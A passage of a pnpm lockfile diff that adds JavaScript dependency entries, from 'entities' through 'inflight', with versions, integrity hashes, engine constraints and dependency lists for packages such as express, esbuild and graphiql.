sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==} + dependencies: + once: 1.4.0 + dev: false + + /entities@2.1.0: + resolution: {integrity: sha512-hCx1oky9PFrJ611mf0ifBLBRW8lUUVRlFolb5gWRfIELabBlbp9xZvrqZLZAs+NxFnbfQoeGd8wDkygjg7U85w==} + dev: false + + /entities@4.5.0: + resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} + engines: {node: '>=0.12'} + dev: false + + /error-ex@1.3.2: + resolution: {integrity: sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==} + dependencies: + is-arrayish: 0.2.1 + dev: false + + /esbuild@0.18.20: + resolution: {integrity: sha512-ceqxoedUrcayh7Y7ZX6NdbbDzGROiyVBgC4PriJThBKSVPWnnFHZAkfI1lJT8QFkOwH4qOS2SJkS4wvpGl8BpA==} + engines: {node: '>=12'} + hasBin: true + requiresBuild: true + optionalDependencies: + '@esbuild/android-arm': 0.18.20 + '@esbuild/android-arm64': 0.18.20 + '@esbuild/android-x64': 0.18.20 + '@esbuild/darwin-arm64': 0.18.20 + '@esbuild/darwin-x64': 0.18.20 + '@esbuild/freebsd-arm64': 0.18.20 + '@esbuild/freebsd-x64': 0.18.20 + '@esbuild/linux-arm': 0.18.20 + '@esbuild/linux-arm64': 0.18.20 + '@esbuild/linux-ia32': 0.18.20 + '@esbuild/linux-loong64': 0.18.20 + '@esbuild/linux-mips64el': 0.18.20 + '@esbuild/linux-ppc64': 0.18.20 + '@esbuild/linux-riscv64': 0.18.20 + '@esbuild/linux-s390x': 0.18.20 + '@esbuild/linux-x64': 0.18.20 + '@esbuild/netbsd-x64': 0.18.20 + '@esbuild/openbsd-x64': 0.18.20 + '@esbuild/sunos-x64': 0.18.20 + '@esbuild/win32-arm64': 0.18.20 + '@esbuild/win32-ia32': 0.18.20 + '@esbuild/win32-x64': 0.18.20 + dev: false + + /escalade@3.1.1: + resolution: {integrity: sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==} + engines: {node: '>=6'} + dev: false + + /escape-html@1.0.3: + resolution: {integrity: sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==} + dev: false + + /escape-string-regexp@1.0.5: + resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==} + engines: {node: '>=0.8.0'} + dev: false + + /escape-string-regexp@5.0.0: + resolution: {integrity: sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==} + engines: {node: '>=12'} + dev: false + + /esprima@4.0.1: + resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==} + engines: {node: '>=4'} + hasBin: true + dev: false + + /estree-util-is-identifier-name@2.1.0: + resolution: {integrity: sha512-bEN9VHRyXAUOjkKVQVvArFym08BTWB0aJPppZZr0UNyAqWsLaVfAqP7hbaTJjzHifmB5ebnR8Wm7r7yGN/HonQ==} + dev: false + + /estree-util-visit@1.2.1: + resolution: {integrity: sha512-xbgqcrkIVbIG+lI/gzbvd9SGTJL4zqJKBFttUl5pP27KhAjtMKbX/mQXJ7qgyXpMgVy/zvpm0xoQQaGL8OloOw==} + dependencies: + '@types/estree-jsx': 1.0.3 + '@types/unist': 2.0.10 + dev: false + + /estree-walker@2.0.2: + resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} + dev: false + + /estree-walker@3.0.3: + resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} + dependencies: + '@types/estree': 1.0.5 + dev: false + + /etag@1.8.1: + resolution: {integrity: sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==} + engines: {node: '>= 0.6'} + dev: false + + /event-target-shim@5.0.1: + resolution: {integrity: sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==} + engines: {node: '>=6'} + dev: false + + /eventemitter3@4.0.7: + resolution: {integrity: sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==} + dev: false + + /events@3.3.0: + resolution: {integrity: sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==} + engines: {node: '>=0.8.x'} + dev: false + + /expand-template@2.0.3: + resolution: {integrity: sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==} + engines: {node: '>=6'} + dev: false + + /express@4.18.2: + resolution: {integrity: sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ==} + engines: {node: '>= 0.10.0'} + dependencies: + accepts: 1.3.8 + array-flatten: 1.1.1 + body-parser: 1.20.1 + content-disposition: 0.5.4 + content-type: 1.0.5 + cookie: 0.5.0 + cookie-signature: 1.0.6 + debug: 2.6.9 + depd: 2.0.0 + encodeurl: 1.0.2 + escape-html: 1.0.3 + etag: 1.8.1 + finalhandler: 1.2.0 + fresh: 0.5.2 + http-errors: 2.0.0 + merge-descriptors: 1.0.1 + methods: 1.1.2 + on-finished: 2.4.1 + parseurl: 1.3.3 + path-to-regexp: 0.1.7 + proxy-addr: 2.0.7 + qs: 6.11.0 + range-parser: 1.2.1 + safe-buffer: 5.2.1 + send: 0.18.0 + serve-static: 1.15.0 + setprototypeof: 1.2.0 + statuses: 2.0.1 + type-is: 1.6.18 + utils-merge: 1.0.1 + vary: 1.1.2 + transitivePeerDependencies: + - supports-color + dev: false + + /extend-shallow@2.0.1: + resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==} + engines: {node: '>=0.10.0'} + dependencies: + is-extendable: 0.1.1 + dev: false + + /extend@3.0.2: + resolution: {integrity: sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==} + dev: false + + /fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + dev: false + + /fast-glob@3.3.2: + resolution: {integrity: sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==} + engines: {node: '>=8.6.0'} + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.5 + dev: false + + /fast-json-stable-stringify@2.1.0: + resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} + dev: false + + /fastq@1.15.0: + resolution: {integrity: sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==} + dependencies: + reusify: 1.0.4 + dev: false + + /fb-watchman@2.0.2: + resolution: {integrity: sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==} + dependencies: + bser: 2.1.1 + dev: false + + /fbjs-css-vars@1.0.2: + resolution: {integrity: sha512-b2XGFAFdWZWg0phtAWLHCk836A1Xann+I+Dgd3Gk64MHKZO44FfoD1KxyvbSh0qZsIoXQGGlVztIY+oitJPpRQ==} + dev: false + + /fbjs@3.0.5: + resolution: {integrity: sha512-ztsSx77JBtkuMrEypfhgc3cI0+0h+svqeie7xHbh1k/IKdcydnvadp/mUaGgjAOXQmQSxsqgaRhS3q9fy+1kxg==} + dependencies: + cross-fetch: 3.1.8 + fbjs-css-vars: 1.0.2 + loose-envify: 1.4.0 + object-assign: 4.1.1 + promise: 7.3.1 + setimmediate: 1.0.5 + ua-parser-js: 1.0.37 + transitivePeerDependencies: + - encoding + dev: false + + /fergies-inverted-index@12.0.0(abstract-level@1.0.3): + resolution: {integrity: sha512-lAkyiDSdQog0aqWhyO8/8gnwbh6k27bd18IWJw7IOl2EUWEh22O4C9ebnw8Li3E+HK3Plxgv6ql1Ty/C3gndvg==} + dependencies: + browser-level: 1.0.1 + charwise: 3.0.1 + level-read-stream: 1.1.0(abstract-level@1.0.3) + memory-level: 1.0.0 + traverse: 0.6.7 + transitivePeerDependencies: + - abstract-level + dev: false + + /fetch-ponyfill@7.1.0(encoding@0.1.13): + resolution: {integrity: sha512-FhbbL55dj/qdVO3YNK7ZEkshvj3eQ7EuIGV2I6ic/2YiocvyWv+7jg2s4AyS0wdRU75s3tA8ZxI/xPigb0v5Aw==} + dependencies: + node-fetch: 2.6.13(encoding@0.1.13) + transitivePeerDependencies: + - encoding + dev: false + + /file-selector@0.6.0: + resolution: {integrity: sha512-QlZ5yJC0VxHxQQsQhXvBaC7VRJ2uaxTf+Tfpu4Z/OcVQJVpZO+DGU0rkoVW5ce2SccxugvpBJoMvUs59iILYdw==} + engines: {node: '>= 12'} + dependencies: + tslib: 2.6.2 + dev: false + + /file-uri-to-path@1.0.0: + resolution: {integrity: sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==} + dev: false + + /fill-range@7.0.1: + resolution: {integrity: sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==} + engines: {node: '>=8'} + dependencies: + to-regex-range: 5.0.1 + dev: false + + /final-form-arrays@3.1.0(final-form@4.20.10): + resolution: {integrity: sha512-TWBvun+AopgBLw9zfTFHBllnKMVNEwCEyDawphPuBGGqNsuhGzhT7yewHys64KFFwzIs6KEteGLpKOwvTQEscQ==} + peerDependencies: + final-form: ^4.20.8 + dependencies: + final-form: 4.20.10 + dev: false + + /final-form-set-field-data@1.0.2(final-form@4.20.10): + resolution: {integrity: sha512-gAnENimyQ5GW3OEGca5pbwm4lYshW2orzfBlPUYqzcm7ZxkQrVO8FqCAgEcCM+Rq9U1OU0q+D+UkqETvvDY6jw==} + peerDependencies: + final-form: '>=1.2.0' + dependencies: + final-form: 4.20.10 + dev: false + + /final-form@4.20.10: + resolution: {integrity: sha512-TL48Pi1oNHeMOHrKv1bCJUrWZDcD3DIG6AGYVNOnyZPr7Bd/pStN0pL+lfzF5BNoj/FclaoiaLenk4XUIFVYng==} + engines: {node: '>=8'} + dependencies: + '@babel/runtime': 7.23.5 + dev: false + + /finalhandler@1.2.0: + resolution: {integrity: sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==} + engines: {node: '>= 0.8'} + dependencies: + debug: 2.6.9 + encodeurl: 1.0.2 + escape-html: 1.0.3 + on-finished: 2.4.1 + parseurl: 1.3.3 + statuses: 2.0.1 + unpipe: 1.0.0 + transitivePeerDependencies: + - supports-color + dev: false + + /find-up@4.1.0: + resolution: {integrity: sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==} + engines: {node: '>=8'} + dependencies: + locate-path: 5.0.0 + path-exists: 4.0.0 + dev: false + + /flatted@3.2.9: + resolution: {integrity: sha512-36yxDn5H7OFZQla0/jFJmbIKTdZAQHngCedGxiMmpNfEZM0sdEeT+WczLQrjK6D7o2aiyLYDnkw0R3JK0Qv1RQ==} + dev: false + + /follow-redirects@1.15.3: + resolution: {integrity: sha512-1VzOtuEM8pC9SFU1E+8KfTjZyMztRsgEfwQl44z8A25uy13jSzTj6dyK2Df52iV0vgHCfBwLhDWevLn95w5v6Q==} + engines: {node: '>=4.0'} + peerDependencies: + debug: '*' + peerDependenciesMeta: + debug: + optional: true + dev: false + + /forwarded@0.2.0: + resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==} + engines: {node: '>= 0.6'} + dev: false + + /framer-motion@6.5.1(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-o1BGqqposwi7cgDrtg0dNONhkmPsUFDaLcKXigzuTFC5x58mE8iyTazxSudFzmT6MEyJKfjjU8ItoMe3W+3fiw==} + peerDependencies: + react: '>=16.8 || ^17.0.0 || ^18.0.0' + react-dom: '>=16.8 || ^17.0.0 || ^18.0.0' + dependencies: + '@motionone/dom': 10.12.0 + framesync: 6.0.1 + hey-listen: 1.0.8 + popmotion: 11.0.3 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + style-value-types: 5.0.0 + tslib: 2.6.2 + optionalDependencies: + '@emotion/is-prop-valid': 0.8.8 + dev: false + + /framesync@6.0.1: + resolution: {integrity: sha512-fUY88kXvGiIItgNC7wcTOl0SNRCVXMKSWW2Yzfmn7EKNc+MpCzcz9DhdHcdjbrtN3c6R4H5dTY2jiCpPdysEjA==} + dependencies: + tslib: 2.6.2 + dev: false + + /fresh@0.5.2: + resolution: {integrity: sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==} + engines: {node: '>= 0.6'} + dev: false + + /fs-constants@1.0.0: + resolution: {integrity: sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==} + dev: false + + /fs-extra@8.1.0: + resolution: {integrity: sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==} + engines: {node: '>=6 <7 || >=8'} + dependencies: + graceful-fs: 4.2.11 + jsonfile: 4.0.0 + universalify: 0.1.2 + dev: false + + /fs-extra@9.1.0: + resolution: {integrity: sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==} + engines: {node: '>=10'} + dependencies: + at-least-node: 1.0.0 + graceful-fs: 4.2.11 + jsonfile: 6.1.0 + universalify: 2.0.1 + dev: false + + /fs.realpath@1.0.0: + resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==} + dev: false + + /fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /function-bind@1.1.2: + resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} + dev: false + + /functional-red-black-tree@1.0.1: + resolution: {integrity: sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==} + dev: false + + /gensync@1.0.0-beta.2: + resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} + engines: {node: '>=6.9.0'} + dev: false + + /get-caller-file@2.0.5: + resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==} + engines: {node: 6.* || 8.* || >= 10.*} + dev: false + + /get-intrinsic@1.2.2: + resolution: {integrity: sha512-0gSo4ml/0j98Y3lngkFEot/zhiCeWsbYIlZ+uZOVgzLyLaUw7wxUL+nCTP0XJvJg1AXulJRI3UJi8GsbDuxdGA==} + dependencies: + function-bind: 1.1.2 + has-proto: 1.0.1 + has-symbols: 1.0.3 + hasown: 2.0.0 + dev: false + + /get-nonce@1.0.1: + resolution: {integrity: sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==} + engines: {node: '>=6'} + dev: false + + /github-from-package@0.0.0: + resolution: {integrity: sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==} + dev: false + + /glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + dependencies: + is-glob: 4.0.3 + dev: false + + /glob-parent@6.0.2: + resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} + engines: {node: '>=10.13.0'} + dependencies: + is-glob: 4.0.3 + dev: false + + /glob-to-regexp@0.4.1: + resolution: {integrity: sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==} + dev: false + + /glob@7.1.6: + resolution: {integrity: sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==} + dependencies: + fs.realpath: 1.0.0 + inflight: 1.0.6 + inherits: 2.0.4 + minimatch: 3.1.2 + once: 1.4.0 + path-is-absolute: 1.0.1 + dev: false + + /glob@7.2.3: + resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==} + dependencies: + fs.realpath: 1.0.0 + inflight: 1.0.6 + inherits: 2.0.4 + minimatch: 3.1.2 + once: 1.4.0 + path-is-absolute: 1.0.1 + dev: false + + /globals@11.12.0: + resolution: {integrity: sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==} + engines: {node: '>=4'} + dev: false + + /globby@11.1.0: + resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==} + engines: {node: '>=10'} + dependencies: + array-union: 2.1.0 + dir-glob: 3.0.1 + fast-glob: 3.3.2 + ignore: 5.3.0 + merge2: 1.4.1 + slash: 3.0.0 + dev: false + + /gopd@1.0.1: + resolution: {integrity: sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==} + dependencies: + get-intrinsic: 1.2.2 + dev: false + + /graceful-fs@4.2.11: + resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + dev: false + + /graphiql@3.0.0-alpha.1(@codemirror/language@6.0.0)(@types/node@20.10.3)(@types/react-dom@18.2.4)(@types/react@18.2.7)(graphql@15.8.0)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-YAL7wQtbC/RkFkjS3SNGzAhwcpYLGC+rZmFu11+/Aa3aXW4Nvi4PIjAIsN4SheEXTyT20QNdFu6B63/3IWmCnA==} + peerDependencies: + graphql: ^15.5.0 || ^16.0.0 + react: ^16.8.0 || ^17 || ^18 + react-dom: ^16.8.0 || ^17 || ^18 + dependencies: + '@graphiql/react': 0.18.0(@codemirror/language@6.0.0)(@types/node@20.10.3)(@types/react-dom@18.2.4)(@types/react@18.2.7)(graphql@15.8.0)(react-dom@17.0.2)(react@17.0.2) + '@graphiql/toolkit': 0.8.4(@types/node@20.10.3)(graphql@15.8.0) + graphql: 15.8.0 + graphql-language-service: 5.2.0(graphql@15.8.0) + markdown-it: 12.3.2 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + transitivePeerDependencies: + - '@codemirror/language' + - '@types/node' + - '@types/react' + - '@types/react-dom' + - graphql-ws + dev: false + + /graphql-language-service@5.2.0(graphql@15.8.0): + resolution: {integrity: sha512-o/ZgTS0pBxWm3hSF4+6GwiV1//DxzoLWEbS38+jqpzzy1d/QXBidwQuVYTOksclbtOJZ3KR/tZ8fi/tI6VpVMg==} + hasBin: true + peerDependencies: + graphql: ^15.5.0 || ^16.0.0 + dependencies: + graphql: 15.8.0 + nullthrows: 1.1.1 + vscode-languageserver-types: 3.17.5 + dev: false + + /graphql-tag@2.12.6(graphql@15.8.0): + resolution: {integrity: sha512-FdSNcu2QQcWnM2VNvSCCDCVS5PpPqpzgFT8+GXzqJuoDd0CBncxCY278u4mhRO7tMgo2JjgJA5aZ+nWSQ/Z+xg==} + engines: {node: '>=10'} + peerDependencies: + graphql: ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 + dependencies: + graphql: 15.8.0 + tslib: 2.6.2 + dev: false + + /graphql@15.8.0: + resolution: {integrity: sha512-5gghUc24tP9HRznNpV2+FIoq3xKkj5dTQqf4v0CpdPbFVwFkWoxOM+o+2OC9ZSvjEMTjfmG9QT+gcvggTwW1zw==} + engines: {node: '>= 10.x'} + dev: false + + /gray-matter@4.0.3: + resolution: {integrity: sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==} + engines: {node: '>=6.0'} + dependencies: + js-yaml: 3.14.1 + kind-of: 6.0.3 + section-matter: 1.0.0 + strip-bom-string: 1.0.0 + dev: false + + /has-flag@3.0.0: + resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==} + engines: {node: '>=4'} + dev: false + + /has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + dev: false + + /has-property-descriptors@1.0.1: + resolution: {integrity: sha512-VsX8eaIewvas0xnvinAe9bw4WfIeODpGYikiWYLH+dma0Jw6KHYqWiWfhQlgOVK8D6PvjubK5Uc4P0iIhIcNVg==} + dependencies: + get-intrinsic: 1.2.2 + dev: false + + /has-proto@1.0.1: + resolution: {integrity: sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==} + engines: {node: '>= 0.4'} + dev: false + + /has-symbols@1.0.3: + resolution: {integrity: sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==} + engines: {node: '>= 0.4'} + dev: false + + /hasown@2.0.0: + resolution: {integrity: sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==} + engines: {node: '>= 0.4'} + dependencies: + function-bind: 1.1.2 + dev: false + + /header-case@2.0.4: + resolution: {integrity: sha512-H/vuk5TEEVZwrR0lp2zed9OCo1uAILMlx0JEMgC26rzyJJ3N1v6XkwHHXJQdR2doSjcGPM6OKPYoJgf0plJ11Q==} + dependencies: + capital-case: 1.0.4 + tslib: 2.6.2 + dev: false + + /hey-listen@1.0.8: + resolution: {integrity: sha512-COpmrF2NOg4TBWUJ5UVyaCU2A88wEMkUPK4hNqyCkqHbxT92BbvfjoSozkAIIm6XhicGlJHhFdullInrdhwU8Q==} + dev: false + + /history@5.3.0: + resolution: {integrity: sha512-ZqaKwjjrAYUYfLG+htGaIIZ4nioX2L70ZUMIFysS3xvBsSG4x/n1V6TXV3N8ZYNuFGlDirFg32T7B6WOUPDYcQ==} + dependencies: + '@babel/runtime': 7.23.5 + dev: false + + /hoist-non-react-statics@3.3.2: + resolution: {integrity: sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==} + dependencies: + react-is: 16.13.1 + dev: false + + /html-entities@2.4.0: + resolution: {integrity: sha512-igBTJcNNNhvZFRtm8uA6xMY6xYleeDwn3PeBCkDz7tHttv4F2hsDI2aPgNERWzvRcNYHNT3ymRaQzllmXj4YsQ==} + dev: false + + /http-errors@2.0.0: + resolution: {integrity: sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==} + engines: {node: '>= 0.8'} + dependencies: + depd: 2.0.0 + inherits: 2.0.4 + setprototypeof: 1.2.0 + statuses: 2.0.1 + toidentifier: 1.0.1 + dev: false + + /iconv-lite@0.4.24: + resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==} + engines: {node: '>=0.10.0'} + dependencies: + safer-buffer: 2.1.2 + dev: false + + /iconv-lite@0.6.3: + resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==} + engines: {node: '>=0.10.0'} + dependencies: + safer-buffer: 2.1.2 + dev: false + + /ieee754@1.2.1: + resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==} + dev: false + + /ignore@5.3.0: + resolution: {integrity: sha512-g7dmpshy+gD7mh88OC9NwSGTKoc3kyLAZQRU1mt53Aw/vnvfXnbC+F/7F7QoYVKbV+KNvJx8wArewKy1vXMtlg==} + engines: {node: '>= 4'} + dev: false + + /immer@9.0.21: + resolution: {integrity: sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==} + dev: false + + /immutable@3.7.6: + resolution: {integrity: sha512-AizQPcaofEtO11RZhPPHBOJRdo/20MKQF9mBLnVkBoyHi1/zXK8fzVdnEpSV9gxqtnh6Qomfp3F0xT5qP/vThw==} + engines: {node: '>=0.8.0'} + dev: false + + /import-fresh@3.3.0: + resolution: {integrity: sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==} + engines: {node: '>=6'} + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 + dev: false + + /import-from@4.0.0: + resolution: {integrity: sha512-P9J71vT5nLlDeV8FHs5nNxaLbrpfAV5cF5srvbZfpwpcJoM/xZR3hiv+q+SAnuSmuGbXMWud063iIMx/V/EWZQ==} + engines: {node: '>=12.2'} + dev: false + + /inflight@1.0.6: + 